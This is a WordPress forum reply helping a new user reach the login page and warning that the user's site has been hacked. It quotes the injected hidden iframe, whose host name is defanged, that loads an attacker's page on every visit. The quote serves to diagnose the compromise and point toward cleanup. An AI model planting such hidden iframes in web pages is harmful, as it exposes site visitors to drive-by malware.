I am new to this and pulling my hair out slowly.
Pull faster, you'll feel better...
The login link is placed per your theme and/or Meta widget
Try your http://t otaltrainingsystems.co.uk/wp-login.php (less the inentional space) that should get you to the login page.
Your blog URL at "t otaltrainingsystems.co.uk" (space added intentionally again) shows that you're web site has been hacked. At the last line of the HTML code has been inserted
<iframe src="http://BAD-MONKEY-HERE:8080/index.php" width=168 height=135 style="visibility: hidden"></iframe>
This is were it get's a little complicated. Give this response a read
You need to un-hack your blog and that link has got everything you need to clean it up. If you are on a hosted server and that advice is too much, ask them for help.